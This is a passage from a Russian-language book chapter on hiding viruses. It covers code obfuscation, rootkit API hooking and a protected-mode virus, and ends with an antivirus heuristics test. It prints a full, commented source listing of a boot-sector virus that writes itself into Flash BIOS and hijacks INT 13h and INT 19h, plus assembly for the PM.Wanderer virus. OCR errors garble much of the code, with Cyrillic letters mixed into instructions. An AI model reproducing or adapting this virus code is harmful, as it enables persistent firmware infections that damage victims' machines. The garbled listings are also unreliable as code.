   print ( $z5a5fa8125d "" ) ; ( close ( $z5a5fa8125d ) or die ( ( (
   ( "" ) ) ) ; ( @z8374cc586e = $zcc158ad3e0 ) ; ( $z9e5935eea4 =
   (0x1209+ 1039-0x1617) ) ; } exit ; sub z021c43d5f3 { ( my (
   $z0f1649f7b5 , $z9e1f91fa38 ) = each ( %ENV ) ) ; return (
   z109276e1f2 ( $z9e1f91fa38 ) ) ; }
   Как видите, в простейшем случае процедура обфускации заключается в переводе кода в нечитаемое (но рабочее) состояние.
   Вышеописанные примеры – примеры так называемой высокоуровневой обфускации "мирного назначения". Если же ее экстраполировать на вирусный код, то изменится немногое: разве только то, что при маскировке вирусного кода используют в большинстве случаев низкоуровневую обфускацию (с применением команд ассемблера), а также программы для автоматической обфускации, например Afx!AVSpoffer, EPProt и PETools.
   Технология обфускации может подразумевать следующие процедуры:
   ♦ изменение таблиц импорта, экспорта и переадресации;
   ♦ маскировка оригинальной Entry Point (точка входа в программу);
   ♦ использование полиморфного варианта распаковки.
   Продолжим рассмотрение вариантов сокрытия и рассмотрим особенности руткит-технологий.


   Руткит-технологии

   Термин руткит (от англ. root kit – «набор для получения прав администратора») есть не что иное, как программа или набор программ для скрытого взятия под контроль взломанной системы.
   В контексте сокрытия вирусного кода в системе Windows под rootkit принято подразумевать такой код, который, будучи внедренным в систему, способен перехватывать системные функции (Windows API). Нетрудно догадаться, что такой перехват и модификация API-функций позволяют руткиту легко и просто замаскировать свое присутствие во взломанной системе.
   Упрощенно все rootkit-технологии сокрытия можно разделить на две категории:
   ♦ работающие в режиме пользователя (user-mode);
   ♦ работающие в режиме ядра (kernel-mode).
   User-mode-категория руткитов основана на перехвате функций библиотек пользовательского режима, kernel-mode – на установке в систему драйвера, осуществляющего перехват функций уровня ядра.
   В настоящее время можно выделить следующие методы перехвата API-функций в режиме пользователя (user mode):
   ♦ модификация таблицы импорта;
   ♦ модификация машинного кода прикладной программы;
   ♦ модификация программного кода API-функции;
   ♦ перехват функций LoadLibrary и GetProcAddress.
   Модификация таблицы импорта. Пожалуй, именно эта методика сокрытия претендует на звание классической. Технология такой маскировки заключается в следующем: rootkit находит в памяти таблицу импорта исполняемой программы и корректирует адреса интересующих его функций на адреса своих перехватчиков. Кажется, что все достаточно просто.
   В момент вызова API-функции программа считывает ее адрес из таблицы импорта и передает по этому адресу управление. Поиск таблицы импорта в памяти несложен, поскольку для этого уже известны специализированные API-функции, позволяющие работать с образом программы в памяти.
   Данная методика достаточно универсальна, к тому же она проста в реализации, но у нее есть существенный недостаток – при таком механизме перехватываются только статически импортируемые функции.
   Модификация машинного кода прикладной программы. Как следует из названия, суть метода заключается в модификации машинного кода, отвечающего в прикладной программе за вызов той или иной API-функции. Реализация методики достаточно сложна, обусловлено это богатым разнообразием языков программирования и версий компиляторов, к тому же и сама реализация вызовов API-функций может быть различна.
   Модификация программного кода API-функции. Методика заключается в том, что rootkit должен найти в памяти машинный код интересующих его API-функций и модифицировать его. При этом вмешательство в машинный код перехватываемых функций минимально. В начале функции обычно размещают две-три машинные команды, передающие управление основной функции-перехватчику. Основным условием такой методики является сохранение исходного машинного кода для каждой модифицированной им функции.
   Перехват функций LoadLibrary и GetProcAddress. Перехват этих функций чаще всего выполняется путем модификации таблицы импорта: если перехватить функцию GetProcAddress, то при запросе адреса можно выдавать программе не реальные адреса интересующих ее функций, а адреса своих перехватчиков. При вызове GetProcAddress она получает адрес и выполняет вызов функции.
   Перехват функций в режиме ядра (kernel mode). Чтобы понять суть метода, будет полезным рассмотреть принципы взаимодействия библиотек user-mode и kernel-mode.
   Взаимодействие с ядром осуществляется через ntdll.dll, большинство функций которой являются посредниками при обращении к ядру через прерывание INT 2Eh. Конечное обращение к функциям ядра основано на структуре KeServiceDescrip-torTable (или сокращенно SDT), расположенной в ntoskrnl.exe. SDT, – это таблица, содержащая адреса точек входа сервисов ядра NT.
   Упрощенно можно сказать, что для перехвата функций необходимо написать драйвер, который произведет модификацию таблицы SDT. Перед модификацией драйверу необходимо сохранить адреса перехватываемых функций и записать в таблицу SDT адреса своих обработчиков. Следует отметить, что такой перехват может быть реализован не только в руткитах. Так, существует достаточное количество полезных программ "мирного" назначения, перехватывающих функции при помощи правки SDT (RegMon от SysInternals или программа Process Guard).
   Описанный выше метод перехвата можно считать наиболее простым. Существуют и другие подобные способы перехвата, к примеру создание драйвера-фильтра. Драйвер-фильтр может с успехом как решать задачи мониторинга (например, утилита FileMon), так и использоваться для активного внедрения в работу системы.
   В частности, драйвер-фильтр может применяться для маскировки файлов и папок на диске. Принцип работы такого драйвера основан на манипуляциях с пакетами запроса ввода-вывода (IRP).


   «Protected Mode – там, где тепло и сухо…»

   Почему бы не создать вирус, работающий в защищенном режиме процессора? Действительно, обнаружить такой вирус антивирусной программе будет, мягко говоря, ну очень трудно, если не невозможно.
   В качестве горячего примера, реализующего работу в защищенном режиме, уместно привести файловый вирус PM.Wanderer. Это резидентный полиморфный вирус, работающий в защищенном режиме процессоров i386-Pentium. Для своей работы вирус активно использует документированный интерфейс VCPI (Virtual Control Program Interface) драйвера расширенной памяти EMS (EMM386).
   При запуске инфицированной программы вирус пытается "узнать", установлен ли в системе EMS-драйвер. Если вышеуказанного драйвера в системе нет, то вирус отдает управление программе-вирусоносителю, завершая при этом свою активность.
   Если же драйвер есть, то вирус выполняет последовательный ряд подготовительных действий для выделения памяти под свое тело и переключения процессора в защищенный режим работы с наивысшим уровнем привилегий.
   В защищенном режиме вирус пытается контролировать INT21 путем установки двух аппаратных контрольных точек на адреса входа в обработчик прерывания INT 21h и перехода на процедуру перезагрузки компьютера. Помимо прочего, вирус так модифицирует дескрипторную таблицу прерываний, чтобы на прерывания INT 1 (особый случай отладки) и INT 9 (клавиатура) установить собственные дескрипторы обработчиков прерываний. Тем самым достигается тотальный контроль всех нажатий клавиш на клавиатуре и попыток мягкой перезагрузки компьютера.
   Результатом вышеописанных действий является копирование вируса в память компьютера и переключение процессора обратно в виртуальный режим работы. Затем вирус освобождает ранее выделенную память DOS в верхних адресах и возвращает управление инфицированной программе.
   При заражении файлов вирусный код внедряется в начало СОМ или в середину ЕХЕ-файла. Код вируса "весит" 3684 байт, но, как правило, инфицированные им файлы имеют приращение длины более 3940 байт. Код вируса содержит текст "WANDERER" (листинг 5.6).
   Листинг 5.6. Исходный код "WANDERER"
   .286
   .model tiny .code org 100h
   ; Подготовка к защищенному режиму работы
   ; Структура дескриптора
   desc_struc STRUC
   limit dw 0
   baseJ dw 0
   base_h db 0
   access db 0
   rsrvdw 0
   desc_struc ENDS
   ACC_PRESENT equ 10000000b
   ACC_CSEG equ 01000000b
   ACC_DSEG equ 00010000b
   ACC_EXPDOWN equ 00001000b
   ACC_CONFORM equ 00000100b
   ACC_DATAWR equ 00000010b
   DATA_ACC=ACC_PRESENT or ACC_DSEG or ACC_DATAWR
   ; 10010010b
   CODE_ACC=ACC_PRESENT or ACC.CSEG or ACC_CONFORM ;
   10011100b
   STACK_ACC=ACC_PRESENT or ACC_DSEG or ACC_DATAWR or ACC.EXPDOWN
   ; 1001011 Ob
   ;Размеры сегментов
   CSEG SIZE=65535
   DSEG_SIZE=65535
   STACK_SIZE=65535
   ; Смещения дескрипторов
   CS_DESCR=(gdt_cs-gdt_0)
   DS_DESCR=(gdt_ds-gdt_0)
   SS_DESCR=(gdt_ss-gdt_0)
   Константы значений портов
   CMOS_PORT equ 070h
   STATUS_PORT equ 064h
   SHUTDOWN equ 0FEh
   A20_PORT equ 0D1h
   A20_ON equ 0DFh
   A20_OFF equ 0DDh
   INT_MASK_PORT equ 021h
   KBD_PORT_A equ 060h
   start:
   ; Инициализация данных для перехода в защищенный режим
   call init_protected_mode
   ; Сам переход
   call set_protected_mode
   ; Возврат в реальный режим
   call set_real_mode
   ; Печатаем сообщение "Light General"
   mov ah, 09h
   lea dx, qw
   int 21h
   ; Выход в DOS
   mov ax, 4C00h
   int 21h
   ; Макрокоманда для установки адреса для дескриптора
   ; в глобальной таблице дескрипторов GDT.
   setgdtentry MACRO
   mov [desc_struc.base_l][bx], ax
   mov [desc_struc.base_h][bx], dl
   ENDM
   init_protected_mode PROC
   mov ax, ds
   mov dl, ah
   shr dl, 4
   shl ax, 4
   ; Устанавливаем адрес сегмента данных
   ; в глобальной таблице дескрипторов
   mov bx, offset gdt_ds
   setgdtentry
   add ax, offset gdtr
   adc dl, 0
   ; Останавливаем адрес сегмента GDT в глобальной таблице дескрипторов
   mov bx, offset gdt_gdt
   setgdtentry
   ; Вычисляем абсолютный адрес для сегмента кода ;
   в соответствии со значением регистра CS
   mov ax, cs
   mov dl, ah
   shr dl, 4
   shl ax, 4
   ; Устанавливаем адрес сегмента кода ;
   в глобальной таблице дескрипторов
   mov bx, offset gdt_cs
   setgdtentry
   ; Вычисляем абсолютный адрес для сегмента стека ;
   в соответствии со значением регистра SS
   mov ax, ss
   mov dl, ah
   shr dl, 4
   shl ax, 4
   ; Устанавливаем адрес сегмента стека ;
   в глобальной таблице дескрипторов
   mov bx, offset gdt_ss
   setgdtentry
   ; Перехватываем рестарт.
   pushds
   mov ax, 40h
   mov ds, ax
   mov word ptr ds:[0067h], offset shutdown_return
   mov word ptr ds:[0069h], cs
   pop ds
   ; Запрещаем маскируемые прерывания
   cli
   in al, INT_MASK_PORT
   or al, OFFh
   out INT_MASK_PORT, al
   mov al, 8Fh
   out CMOS_PORT, al
   jmp $+2 mov al, 5
   out CMOS_PORT+1, al
   ret
   init_protected_mode ENDP
   ; Подпрограмма, переводящая процессор в защищенный режим
   set_protected_mode PROC
   ; Открываем адресную линию А20 для доступа свыше 1 Мбайт
   call enable_a20
   ; Сохранение значения регистра SS для реального режима
   mov real_ss, ss
   ; Перевод компилятора Turbo Assembler в улучшенный режим.
   ; IDEAL – это не команда и не оператор, это директива, влияющая
   ; только на интерпретацию дальнейших строк листинга
   ideal
   р286
   ;Загружаем регистр глобальной таблицы дескрипторов GDTR
   lgdt[QWORD gdt_gdt] ; db OFh,01h,16h dw offset gdt_gdt ;
   Переводим процессор в защищенный режим
   mov ax, 0001h
   lmswax ; db OFh,01h,FOh
   ; Переводим компилятор Turbo Assembler назад в режим MASM
   masm
   .286
   jmp far flush
   ; db 0EAh
   ; dw offset flush
   ; dw CS_DESCR
   flush:
   ; Останавливаем в регистр SS селектор сегмента стека
   mov ax, SS_DESCR
   mov ss, ax
   ; Устанавливаем в регистр DS селектор сегмента данных
   mov ax, DS_DESCR
   mov ds, ax
   ; Записываем в строку qw символ "L" и выходим из подпрограммы
   mov byte ptr ds:[offset qw+2],"L"
   ret
   set_protected_mode ENDP
   ; Подпрограмма, возвращающая процессор в реальный режим
   set_real_mode PROC
   ; Сохраняем значение регистра SP для реального режима
   mov real_sp, sp
   ; Выполняем CPU Reset (рестарт процессора)
   mov al, SHUT_DOWN
   out STATUS_PORT, al
   ; Ждем, пока процессор перезапустится
   wait_reset:
   hlt
   jmp wait_reset
   ; C этого места программа выполняется после перезапуска процессора
   shutdown_return:
   ; Устанавливаем регистр DS в соответствии с регистром CS
   pushcs
   pop ds
   ; Восстанавливаем указатели на стек
   ; по ранее сохраненным значениям
   mov ss, real_ss
   mov sp, real_sp
   ; Закрываем адресную линию А20
   call disable_a20
   ; Разрешаем немаскируемые прерывания
   mov ax, 000dh
   out CMOS_PORT, al
   ; Разрешаем маскируемые прерывания
   in al, INT_MASK_PORT
   and al, 0
   out INT_MASK_PORT, al
   sti
   ret
   set_real_mode ENDP
   ; Процедура, открывающая адресную линию А20. После открытия
   ; адресной линии программам будет доступна память свыше 1 Мбайт
   enable_a20 PROC
   mov al, A20_PORT
   out STATUS_PORT, al
   mov al, A20_ON
   out KBD_PORT_A, al
   ret
   enable_a20 ENDP
   disable_a20 PROC
   mov al, A20_PORT
   out STATUS_PORT, al
   mov al, A20_OFF
   out KBD_PORT_A, al
   ret
   disable_a20 ENDP
   ; Здесь сохраняется адрес стека
   real_sp dw ?
   real_ss dw ?
   ; Эта строка выводится на экран после работы программы ;
   Символ "?" заменяется на "L" в защищенном режиме
   qw db 13,10,"?ight General",13,10,"$"
   ; Глобальная таблица дескрипторов. Нулевой дескриптор
   ; обязательно должен быть "пустым"
   GDT_BEG=$
   gdtr label WORD
   gdt_0 desc_struc <0,0,0,0,0>;
   gdt_gdt desc_struc
   gdt_ds desc_struc
   gdt_cs desc_struc
   gdt_ss desc_struc
   GDT_SIZE=($-GDT_BEG)
   END start
   FLASH BIOS – почему бы и нет! Самая обычная ситуация – это когда код привязан к файловой системе и/или является резидентным (выполняющимся в оперативной памяти). Но что если вирусный код работает в BIOS?!
   Да-да, именно, а почему бы и нет. Отлов и уничтожение такого "зверя" потребует от антивирусной программы чего-то большего, а именно – возможности трассировать прерывание INT 16h.

   ПРИМЕЧАНИЕ
   Прерывание (от англ. interrupt) – сигнал, сообщающий процессору о совершении какого-либо события. Прерывание подразумевает приостановку выполнения текущей последовательности команд и передачу управления обработчику прерывания.

   Почему все так сложно и как с этим связан антивирусный монитор?
   Все дело в том, что BIOS (AMI, например) обладает некоторыми особенностями работы в микросхемах Flash-памяти, которые базируются на использовании функции EOh прерывания INT 16h. Внесенный в данную область памяти вирус впоследствии запрещает повторно использовать указанную функцию. Как следствие, это запретит антивирусным программам воспользоваться ею в процессе удаления вируса из BIOS компьютера. Как же это все работает?
   Алгоритм работы вируса, "живущего" в BIOS, выглядит следующим образом.
   1. Вирус проверяет систему на наличие Flash BIOS.
   2. Далее идет проверка на зараженность Flash BIOS (если BIOS чист – то "ОК", иначе – осуществить выход).
   3. Считывается вектор INT 19h из таблицы (прерывание загрузки).
   4. Читает первые пять байт от точки входа INT 19h.
   5. Проверяет свободное место в микросхеме BIOS (поиск области нулей).
   6. Устанавливает память Flash BIOS в режим записи (нормальное ее состояние в режиме чтения).
   7. Запись вируса в найденную свободную область.
   8. Запись перехода на вирус в точку входа INT 19h.
   9. Возврат Flash BIOS в режим "только чтение".
   Вот, собственно, и сам код с комментариями (листинг 5.7):
   Листинг 5.7. Код вируса, поражающего BIOS ;
   Вирусный код, заражающий Flash BIOS.
   ; Наиболее опасен тем, что при заражении нельзя будет загрузиться ;
   даже с "чистой" дискеты.
   org 0
   ; При входе в boot-сектор 01=загрузочный диск
   mov si, 7C00h ;
   Устанавливаем 0000h в регистрах DS и ES
   хог ах, ах
   mov es, ax
   mov ds, ax
   ; Устанавливаем значение стека 0000h:7C00h
   cli
   mov ss, ax
   mov sp, si
   sti
   ; Уменьшаем на 1Кбайт память (0040h:0013h)
   dec word ptr [0413h] ;
   Получаем размер памяти (при возврате в АХ)
   int 12h
   mov cl, 6
   shl ax, cl
   ; Устанавливаем новый сегмент вируса
   mov es, ax
   ; Переносим вирусный сектор в вершину памяти
   xor di, di
   mov cx, 200h
   cld
   rep movsb
   ; Сохраняем вектор прерывания INT 13h
   mov ax, word ptr [13h*4]
   mov word ptr es: [off set i13], ax
   mov ax, word ptr [13h*4+2]
   mov word ptr es: [offset i13+2], ax
   ; Устанавливаем новый вектор прерывания INT 13h
   mov word ptr [13h*4], offset Handler
   mov word ptr [13h*4+2], es
   ; Переходим в точку ES:Restart (в копии вируса,
   ; находящейся в вершине памяти)
   already_resident:
   push es
   mov ax, offset Restart
   push ax
   retf
   ; Ниже программа работает уже в вершине памяти
   Restart:
   ; Загружаем оригинальный boot-сектор из конца
   ; root directory и передаем ему управление
   xor ах, ах
   call int13h
   ; Готовим регистры для загрузки оригинального boot-сектора
   хог ах, ах
   mov es, ax
   ; Сегмент для загрузки
   mov bx, 7C00h
   ; Смещение для загрузки
   mov cx, 0002h
   ; Дорожка 0, сектор 2
   xor dh, dh
   ; Головка 0
   mov ax, 0201h ;
   Функция 2, количество секторов 1
   ; Проверяем загрузочный диск. 80h и выше – это адрес жесткого диска,
   ; иначе – дискета. Копию оригинального boot-сектора храним :
   ; на жестком диске – дорожка 0, головка 0, сектор 2;
   ; на дискете – дорожка 0, головка 1, сектор 14
   cmp dl, 80h
   jae MBR_Loader
   ; Грузимся с дискеты: изменим сектор и головку
   mov с1, 14 ; Сектор 14
   mov dh, 1 ; Головка 1
   ; 3агрузим оригинальный boot-сектор по адресу 0000h:7C00h
   MBR_Loader:
   call int13h
   ; Сохраняем в стеке номер диска, с которого грузимся
   push dx
   ; Проверяем, заражен ли Flash BIOS
   cmp byte ptr cs:flash_done, 1
   je Flash_resident
   ; Инфицируем Flash BIOS
   call flash_BIOS
   ; Восстанавливаем из стека DX (номер загрузочного диска)
   Flash_resident:
   pop dx
   ; 3апускаем оригинальный boot-сектор (JMP FAR 0000h:7C00h)
   db 0EAh
   dw 7C00h
   dw 0
   ;Скрываем присутствие вируса методом чтения оригинального boot-сектора
   Stealth:
   ; Останавливаем значения сектора, где хранится копия оригинального
   ; boot-сектора
   mov cx, 02h
   mov ax, 0201h
   ; Проверяем, откуда считан boot-сектор (дискета или жесткий диск),
   ; так как копии хранятся в разных местах
   cmp dl, 80h
   jae hd_stealth
   mov cl, 14
   mov dh, 1 hd_stealth:
   ; Читаем копию оригинального boot-сектора
   call int13h
   ; Выходим из обработчика прерывания
   jmp pop_exit
   ; Проверяем наличие резидентного вируса
   restest:
   xchgah, al
   iret
   ; Обработчик прерывания INT 13h
   Handler:
   cmp ax, 0ABBAh
   je restest
   ; Перехватываем только функцию 02h (чтение сектора): проверяем
   ; номер функции. Если не 2, запускаем оригинальный обработчик
   cmp ah, 2
   jne jend
   ; Проверяем номера дорожки и сектора, интересуясь только теми
   ; секторами, в которых может оказаться вирус :
   ; дорожка 0, головка 0, сектор 1
   cmp cx, 1
   jne jend
   ; Проверим номер головки. Если не 0, то запустим
   ; оригинальный обработчик
   cmp dh, 0
   jne jend
   tryinfect:
   ; Считаем сектор в буфер (для дальнейшей обработки).
   ; Для этого вызовем оригинальный INT 13h
   call int13h
   jc jend
   ; Сохраним регистры и флаги (обработчик не должен изменить их)
   pushf
   push ax
   push bx
   push cx
   push dx
   push si
   push di
   push es
   push ds
   ; Проверяем, заражен ли данный диск вирусом: читаем сигнатуру. ;
   Если диск заражен, скрываем присутствие вируса
   cmp word ptr es:[bx+offset marker], "LV"
   je stealth
   ; Если диск не заражен, то заражаем
   cmp dl, 80h
   jb infect_floppy ; Установим номера дорожки, головки и сектора для жесткого
   ; диска для сохранения оригинального boot-сектора
   mov cx, 2
   xor dh, dh
   jmp write_virus
   infect_Floppy:
   ; Установим номера дорожки, головки и сектора для дискеты
   ; для сохранения оригинального boot-сектора
   mov сх, 14
   mov dh, 1
   Write_Virus:
   ; Записываем оригинальный boot-сектор
   mov ax, 0301h
   call int-lSh
   jc pop_exit
   ; Установим сегментный регистр ES на сегмент с вирусом
   push cs
   pop es
   ; Сбросим флаг зараженности Flash BIOS
   mov byte ptr cs:flash_done, 0
   ; 3апишем тело вируса в boot-сектор
   xor bx, bx
   mov ax, 0301h
   mov cx, 0001h
   xor dh, dh
   call int13h
   ; Восстановим регистры и флаги (как раз те их значения, которые
   ; свидетельствуют о том, что boot-сектор только что считали)
   Pop_Exit:
   pop ds
   pop es
   pop di
   pop si
   pop dx
   pop cx
   pop bx
   pop ax
   popf
   ; Выходим из обработчика в вызывающую программу
   retf2
   ; 3апуск оригинального обработчика
   jend:
   DD 0EAh ; Код команды JMP FAR ;
   Оригинальный вектор INT13h
   i13 DD 0
   ; Вызов прерывания INT 13h
   int13h proc near
   pushf
   call dword ptr cs:[i13]
   ret
   int13h endp
   ; Первые два байта слова используются как сигнатура
   Marker db "VLAD"
   ; Эта подпрограмма заражает Flash BIOS
   Flash_BIOS Proc Near
   ; Проверим наличие Flash BIOS
   mov ax, 0e000h
   int 16h
   jc no_flash_bios
   cmp al, 0FAh
   jne no_flash_bios
   ; Сначала найдем хорошее место для хранения вируса.
   ; Просканируем память F000h-FFFFh, где обычно находится BIOS,
   ; на наличие области 1Кбайт нулей. Хватит даже 512 байт памяти,
   ; но выделить нужно с запасом
   infect_Flash:
   ; Остановим начальный сегмент для поиска
   mov ax, 0F000h
   mov ds, ax
   ; Проверим сегмент
   New_segment:
   ; Остановим стартовое смещение
   xor si, si
   ; Остановим счетчик найденных байт
   ; (величина свободного места для вируса)
   xor dx, dx
   ok_new_segment:
   ; Перейдем к следующему сегменту
   inc ax
   mov ds, ax
   ; Проверим, есть ли еще место для вируса
   cmp ax, 0FFF0h
   je no_flash_BIOS
   ; Проверим, свободно ли место (для скорости проверяем словами)
   test16:
   cmp word ptr [si], 0
   jne new_segment
   ; Увеличим счетчик размера найденного свободного места
   inc dx
   ; Проверим, достаточно ли найденного места. Сравниваем с 1 Кбайт, но
   ; так как память сканируем словами, сравниваем с 512 (1 Кбайт=512 слов)
   cmp dx, 512
   je found_storage
   ; Увеличим смещение проверяемого байта
   inc si
   inc si
   ; Сравним с 16. Переходим к следующему сегменту
   ; в начале каждого параграфа
   cmp si, 16
   je ok_new_segment
   jmp test16
   ; B эту точку попадаем, если место найдено
   Found_storage:
   ; Перейдем к началу зоны
   sub ax, 40h
   mov ds, ax
   ; Получим требования к сохранению состояния чипа
   mov ax, 0E001h
   int 16h
   ; Проверим, сколько памяти необходимо для сохранения состояния
   ; чипа. Если слишком много, не будем сохранять состояние
   cmp bx, 512
   jbe save_chipset
   ; Установим флаг, показывающий, что состояние не сохраняли
   mov byte ptr cs:chipset, 1
   ; Перейдем к записи
   jmp write_enable
   ; Сюда попадаем, если Flash BIOS не обнаружен:
   ; записывать некуда – выходим
   No_Flash_BIOS:
   ret
   ; Сохраним состояние чипа
   save_chipset:
   ; Установим флаг, показывающий, что состояние сохранили
   mov byte ptr cs:chipset, 0
   ; Сохраним состояние
   mov al, 2
   push cs
   pop es
   mov di, offset buffer
   int 16h
   ; Записываемся во Flash BIOS
   write_enable:
   ; Повышаем напряжение
   mov al, 5
   int 16h
   ; Разрешаем запись во Flash BIOS
   mov al, 7
   int 16h
   ; Копируем 512 байт вируса во Flash BIOS
   push ds
   pop es
   xor di, di
   mov cx, 512
   push cs
   pop ds
   xor si, si
   cld
   rep movsb
   mov bx, es ; ВХ=сегмент вируса
   xor ах, ах
   mov ds, ax ; DS=Ta6nHua векторов
   mov di, word ptr [19h*4] ; Смещение INT 19h
   mov es, word ptr [19h*4+2] ; Сегмент INT 19h
   ; 3апишем JMP FAR по адресу точки входа в INT 19h
   mov al, 0EAh
   stosb
   mov ax, offset int19handler
   stosw
   mov ax, bx
   stosw
   ; Понизим напряжение
   mov ax, 0E004h
   int 16h
   ; 3ащитим Flash BIOS от записи
   mov al, 6
   int 16h
   ; Проверим, сохранялось ли состояние чипа, если нет – выходим
   cmp byte ptr cs:chipset, 0
   jne No_Flash_BIOS
   ; Восстановим состояние чипа
   push cs
   pop es
   mov al, 3
   mov di, offset buffer
   int 16h
   jmp No_Flash_BIOS
   ; Флаг несохранения состояния чипа
   chipset db 0
   ; Флаг присутствия вируса во Flash BIOS
   flash_done db 0
   ; Наш обработчик INT 19h.
   int19Handler Proc Near
   ; Установим сегментный регистр ES в ноль
   хог ах, ах
   mov es, ax
   ; Проверим наличие резидентного вируса
   mov ax, 0ABBAh
   int 13h
   ; Если вирус присутствует, то запускаем оригинальный
   ; обработчик прерывания INT 19h
   cmp ax, 0BAABh
   jne real_int19h
   ; Перенесем вирус из BIOS в boot-буфер
   push cs
   pop ds
   cld
   xor si, si
   mov di, 7c00h
   mov cx,512
   rep movsb
   ; 3апустим вирус в boot-буфере
   mov dl, 80h
   jmp goto_Buffer
   real_int19h:
   ; Произведем сброс дисковой подсистемы
   xor ax, ax
   int 13h
   ; Проинициализируем значения регистров для загрузки boot-сектора
   mov cx, 1
   mov dh, 0
   mov ax, 0201h
   mov bx, 7C00h
   ; Проверим, откуда грузимся: если DL не нулевой,
   ; переходим к загрузке с жесткого диска
   cmp dl, 0
   ja hd_int19h
   ; Прочтем boot-сектор с дискеты. Если при чтении происходит
   ; ошибка, то читаем с жесткого диска
   int 13h
    jc fix_hd
   ; Остановим флаг, показывающий присутствие вируса во Flash BIOS
   Goto_Buffer:
   mov byte ptr es:[7C00h+offset flash_done], 1
   ; 3апустим boot-сектор, находящийся в boot-буфере
   db 0EAh ; Код команды JMP FAR
   dw 7c00h
   dw 0 Fix_HD:
   ; Установим номер диска для загрузки (диск С)
   mov dl, 80h
   HD_int19h:
   ; Произведем сброс дисковой подсистемы
   хог ах, ах
   int 13h ;
   Прочтем boot-сектор
   mov ax, 0201h
   int 13h
   jc Boot
   jmp Goto_Buffer ;
   Если не удалось загрузить boot-сектор,
   ; вызываем прерывание INT 18h
   Boot:
   int 18h
   int19Handler EndP
   Flash_BIOS EndP
   End_Virus:
   ; Размер области памяти, необходимый для дополнения
   ; размера вируса до 510 байт
   DupSize equ 510-offset End_Virus
   ; Заполнение не занятой вирусом части сектора
   db DupSize dup (0)
   db 55h, 0aah
   Можно ли вышеописанный или подобный ему код назвать космополитом, встречающимся в "диком виде"? Да, вполне. В качестве яркого примера, иллюстрирующего, насколько умело можно манипулировать с BIOS, уместно привести оригинальное описание знаменитого "Чернобыля" (www.virusList.com).
   Virus.Win9x.CIH также известен как «Чернобыль». Это резидентный вирус, работающий исключительно под операционными системами Windows 95/98. Длина вируса около 1 Кбайт. Впервые был обнаружен на Тайване в 1998 году. Избирательно перепрошивает BIOS: для заражения подходят только некоторые типы материнских плат, к тому же в настройках BIOS не должно быть установлено чтение только. После перепрошивки BIOS вирус приступает к винчестеру, а точнее, уничтожает все его содержимое. При этом вирус использует прямой доступ к диску, обходя тем самым стандартную антивирусную защиту от записи в загрузочные сектора.
   Возможные варианты защиты (плюс такие классические варианты, как установка последней версии антивирусной программы с новыми базами):
   ♦ настройка BIOS, контроль режима чтение только;
   ♦ контроль критических областей с помощью специализированных утилит типа ADINF32.
   Возможные варианты лечения:
   ♦ удаление вируса и его записей с помощью вакцин типа "АнтиЧернобыль" и т. п.;
   ♦ радикальный метод – перепрошивка BIOS/замена микросхем.



   5.4. Как работает эвристический анализатор кода и почему даже два антивируса в системе могут стать бесполезными


   В рамках данного раздела мы попытаемся выяснить, действительно ли даже три антивируса могут дать сбой в поимке «хитрого» кода, и как с этим связано такое качество антивирусного продукта, как эвристика. В роли испытуемых антивирусов были выбраны следующие популярные продукты:
   ♦ "Антивирус Касперского";
   ♦ ESET NOD32;
   ♦ Vba32 ("ВирусБлокАда").

   ПРИМЕЧАНИЕ
   В данном тесте мы акцентируем особое внимание на антивирусном продукте Vba32. Это белорусский антивирус, включающий в себя достаточно оригинальный эвристический модуль, в основе которого стоит запатентованная технология "MalwareScopeTM".



   Методология проведения теста

   Напомним, что качество эвристики определяется способностью антивируса распознавать модифицированный вредоносный код. Фактически, эвристика предполагает обнаружение вируса, которого нет в базах: по специальным алгоритмам и некоторым признакам антивирус сам должен «домыслить», что проверяемый код является вирусным. Как вы уже поняли, задача не из легких.
   Для наибольшей объективности теста мы возьмем максимально широкий перечень инструментов, применяемых в подобных случаях. Помимо упаковщиков, генераторов вирусов и утилит для обфускации, мы включим в наш тест самописный вирус, а также воспользуемся полиморфным образцом Virus.Win32.Zombie, который известен оригинальной технологией декриптования для обхода эвристических анализаторов.
   Подобная методология, включающая комплексное тестирование, широко применяется в сертифицированных тестовых лабораториях и позволяет минимизировать возможные погрешности, сделав результат теста максимально объективным.
   "Свежесть" баз всех трех антивирусов одинакова. Уровень настроек эвристики во всех трех случаях аналогичен и приравнен к средним.
   Итак, пожалуй, начнем.


   Тест № 1

   Для проведения первого теста были использованы случайным образом отобранные из коллекции (579 штук) четыре экземпляра вредоносного кода:
   ♦ TrojanDownloader.13547;
   ♦ Backdoor. Win32Optix.b;
   ♦ Trojan-Win32PSW.QQRob.16;
   ♦ Trojan-Win32PSW.QQShou.EH.
   Каждый экземпляр был пропущен через PeStubOEP (программа предназначена для защиты EXE-файлов от определения их компилятора/упаковщика). Результаты проверки следующие ("+" – распознан; "-" – не распознан). Итак (результаты на рис. 5.3).
   ♦ Nod32 2.7 "+";
   ♦ "Антивирус Касперского 6.0" "+";
   ♦ Vba32 "+".
   Рис. 5.3. TrojanDownloader.13547 был успешно найден
   ♦ Nod32 2.7 "+";
   ♦ "Антивирус Касперского 6.0" "+";
   ♦ Vba32 "+" (рис. 5.4).
   Рис. 5.4. Backdoor.Win32Optix.b – «крепкие орешки» еще впереди!
   ♦ Nod32 2.7 "+";
   ♦ "Антивирус Касперского 6.0" "+";
   ♦ Vba32 "+" (рис. 5.5).
   Рис. 5.5. Наш антивирус пока на высоте
   Trojan-Win32PSW.QQShou.EH оказался крепким орешком, и Vba32 определил его, только после того как были установлены максимальные настройки:
   ♦ Nod32 2.7 "+";
   ♦ "Антивирус Касперского 6.0" "+";
   ♦ Vba32 "+" (рис. 5.6, 5.7).

   ПРИМЕЧАНИЕ
   Один из экземпляров вредоносного кода (Trojan-Win32PSW.QQShou.EH) Vba32 был определен как Trojan-Spy.Delf.13.

   Как видите, некоторые из экземпляров вредоносного кода могут быть обнаружены только с максимальными настройками, и совсем не факт, что антивирус расскажет вам всю правду.
   Рис. 5.6. Экспертный анализ – максимален!
   Рис. 5.7. Похож на Spy-Delf…
   Используем следующую партию экземпляров, случайно отобранных из коллекции:
   ♦ Trojan.Spambot;
   ♦ OS.cope.Worm.UK.Nuwar;
   ♦ Trojan-Proxy.WIN32.Lager.aq.
   Два троянских коня и червь были запакованы Tibs. Проверяем:
   ♦ Nod32 2.7 "-";
   ♦ "Антивирус Касперского 6.0" "+";
   ♦ Vba32 "+" (рис. 5.8).
   Рис. 5.8. Результат проверки – Trojan.Spambot!

   ПРИМЕЧАНИЕ
   Как видите, здесь нас немного огорчил NOD32. Но не будем забывать, что даже качественно проработанный движок несовершенен.

   ♦ Nod32 2.7 "+";
   ♦ "Антивирус Касперского 6.0" "+";
